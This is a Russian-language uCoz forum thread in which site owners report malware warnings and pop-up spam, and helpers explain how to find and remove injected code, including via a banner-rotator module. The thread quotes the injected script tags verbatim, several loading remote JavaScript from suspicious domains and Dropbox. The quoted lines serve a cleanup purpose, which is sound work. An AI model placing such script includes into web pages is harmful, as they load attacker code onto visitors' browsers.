Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (предотвращение, диагностика) |
| Вирусы на сайтах |
|
Как предотвратить попадание вредоносных ссылок на сайт
Диагностика
Правила подачи заявки на диагностику и поиск вредоносного кода на сайте
Полезные ссылки: Так как большинство случаев заражения сайтов является плодом неумелого обращения с готовыми скриптами, а так же с готовыми элементами дизайна для сайтов найденными в сети, то перед тем как внедрить на сайт найденный в сети скрипт стоит ознакомиться со следующими темами:
|
|
Столкнулся с такой не ординарной проблемой! На прошлой неделе Google выдал, что на вашем сайте вредоносное ПО и заблокировал его в своих поисковиках. После регистрации в Google-вебмастере (Webmaster Tools) обнаружил заражённые скрипты «Ротора баннеров». Т.к. они находятся в скрытой категории /rtr/ я обратился за помощью в службу поддержки, но вместо помощи получил заблокированный сайт
 . Люди подскажите, что мне теперь делать, как поступить. Прикрепления:
2320504.jpg
(69.5 Kb)
|
|
Ural-10, адрес сайта додумайтесь дать. если сайт заблокирован юкозом, то разбирайтесь с тех.поддрежкой и удалите ротаторы
|
|
webanet,
Адрес сайта на скрине был, вот дубль http://нпгр-субр.рф или http://npgr-subr.ucoz.ru |
|
Ural-10, ну уберите свои ротаторы и пишите в тех.поддержку. сюда зачем писать?
|
|
Ural-10, а что у вас было в содержании ротаторов?
напротив каждого образца инфицированного кода в вебмастере есть code injection там есть какая-либо инфа? если есть, то какая? Цитата Конечно я могу отказаться от модуля «Ротор баннеров» и прописать все баннеры в чистом HTML зассылив картинки. |
|
Давно уже пользуюсь бесплатным хостингом на ucoz. Был всем доволен, даже знакомым там сайты визитки сделал. Наличие рекламы в правом верхнем углу, тоже понятно, раз хостинг бесплатный. Но недавно к этой рекламе начали добавляться еще всякие всплывающие окна, которые закрывают почти весь обзор. Это такое "мягкое" указание, что надо платить, а иначе сайт превратиться в рекламную помойку? Или как это понимать? Чтобы не быть голословным скриншоты в спойлерах:
АстролонЫч
|
|
astrolon, ваш сайт http://astrolon.at.ua/ заражен
панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт Код <script type="text/javascript" src="http://blogmarino4ka.ru/pop-up.js"></script> тоже самое надо сделать со скриптами Код <script type="text/javascript" src="http://blogmarino4ka.ru/jQuery.js"></script> Код <script type="text/javascript" src="http://blogmarino4ka.ru/jQuery_v2.js"></script> Код <script language="javascript" src="./js.php?s=54"></script> Код <script type="text/javascript" src="http://dl.dropbox.com/u/36053555/script.js"></script> Код <script language="javascript" src="http://golink1.ru9.biz/js/back.php?id=43"></script> Код <script type="text/javascript" src="https://dl.dropbox.com/sh/01qpqzzng3uvqmp/Ib9fwZUJWE/script.js"></script> Код <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script> далее из кода поиска гугла удалить скрипт Код <script language='javascript' type='text/javascript' src='http://nummobile.com/6bk2wga5lwc60hg3cbttzoyq63q08yd'></script> после очистки обязательно сменить пароли и особенно пароль uid профиля |
|
Здравствуйте!
У меня на сайте www.argerusa.com появился вирус. Об этом предупреждает Chrome и никого не пускает на мою страницу. Причем выдает нижеуказанный текст (в спойлере), иногда сразу после посещения главной страницы, иногда после посещения уже нескольких страниц, а иногда при попытки войти на сайт под своим ником. Не могу найти где эта проблема "зарыта" на сайте..в каких кодах? Пожалуйста помогите отыскать! Добавлено (31 Май 2013, 22:12:15) Сообщение отредактировал Daniela - Пятница, 31 Май 2013, 22:10:34
|
|
Здравствуйте уважаемая администрация системы ucoz. [/l][l]Мой сайт: cblood.clan.su Подвергся огромным спамом рекламы. (ранее которой не наблюдалось) скрин шот :  За ранее благодарен за уделенное время моей теме. (Я не особо смыслу в программировании и делал сайт как любитель, поэтому прошу о помощи, так как незнаю как избавиться от данной проблемы) |
|
Daniela, сайт в настоящее время не помечен как вредоносный и гугла хрума у меня заходит без табличек. по страницам погуляла без табличек.
ищите secuencias.educ.ar в коде страниц. это аргентинский адрес. картинки. ссылки. содержимое ротатора баннеров |
|
Вот это все удалите:
Код <script src="http://voice.said-that.info/?732778=HlceGEwIBgUJAQMOGVdZU1hcWw"/> <script src="http://voice.said-that.info/?698694=MnsyNGAkKiklLS8iNXt1f3Rwdg"/> <script src="http://friend.expect-no-thanks.info/?580690=Jm8mIHQwPj0xOTs2IW9ha2Bnaw"/> <script src="http://resting.delighted-that.info/?700140=mNGYnsqOgIOPh4WIn9Hd29_d2g"/> <script src="http://resting.delighted-that.info/?705714=xo_GwJTQ3t3R2dvWwY-DhYaDgg"/> <script src="http://resting.delighted-that.info/?711392=lN2UksaCjI-Di4mEk93R19TQ2A"/> <script src="http://convinced.same-idea.info/?772067=l96XkcWBj4yAiIqHkN7S1NDS1A"/> <script src="http://convinced.same-idea.info/?777879=46rj5bH1-_j0_P7z5KqmoKSmrw"/> <script src="http://would.hope-of-having.info/?851454=isOKjNickpGdlZeajcPNyc3Myw"/> <script src="http://would.hope-of-having.info/?859575=w4rDxZHV29jU3N7TxIqEgISFgQ"/> <script src="http://think.necessary-to-bring.info/?881532=CEEIDloeEBMfFxUYD0FPS09OSw"/> <script src="http://think.necessary-to-bring.info/?898501=sfixt-Onqaqmrqyhtvj28vb3_Q"/> <script src="http://would.hope-of-having.info/?668903=k9qTlcGFi4iEjI6DlNrU0NDU0A"/> <script src="http://think.necessary-to-bring.info/?793428=IGkgJnI2ODs3Pz0wJ2lnY2NnbA"/> <script src="http://particulars.about-a-week.info/?43088=JG0kInYyPD8zOzk0I21jZ2hmYg"/> <script src="http://particulars.about-a-week.info/?75046=UhtSVABESklFTU9CVRsVER4QFQ"/> <script src="http://carry.had-stuck.info/?174653=SQBJTxtfUVJeVlRZTgAOCgULCQ"/> |
|
$Kenny$, вы дали уже результат работы скрипта. его в коде найти нельзя, потому что нужно искать скрипт вызывающий это все
Аруад, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт Код <script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script> поле на что заменить оставляете пустым и производите замену во всех модулях далее обязательно меняете uid пароль //forum.ucoz.ru/forum/45-52299-1 |
|
webanet, спасибо за подсказку , где искать. Про ротатор баннеров я не думала.
Я тоже хожу по сайту до поры до времени без табличек,а потом вдруг выдает это предупреждение. Искала этот адрес по запросу "Поиск на сайте", но ничего не показывает. Может существует какая нибудь программа или онлайн сайт который ищет заданные ссылки? Еще раз спасибо за внимание.. |
|
Daniela, все. пошлялась по страницам и нашла
вот тут http://www.argerusa.com/rtr/4-16 ротатор баннеров как я и говорила. ссылка на вредоносный сайт в этом ротаторе. |
| |||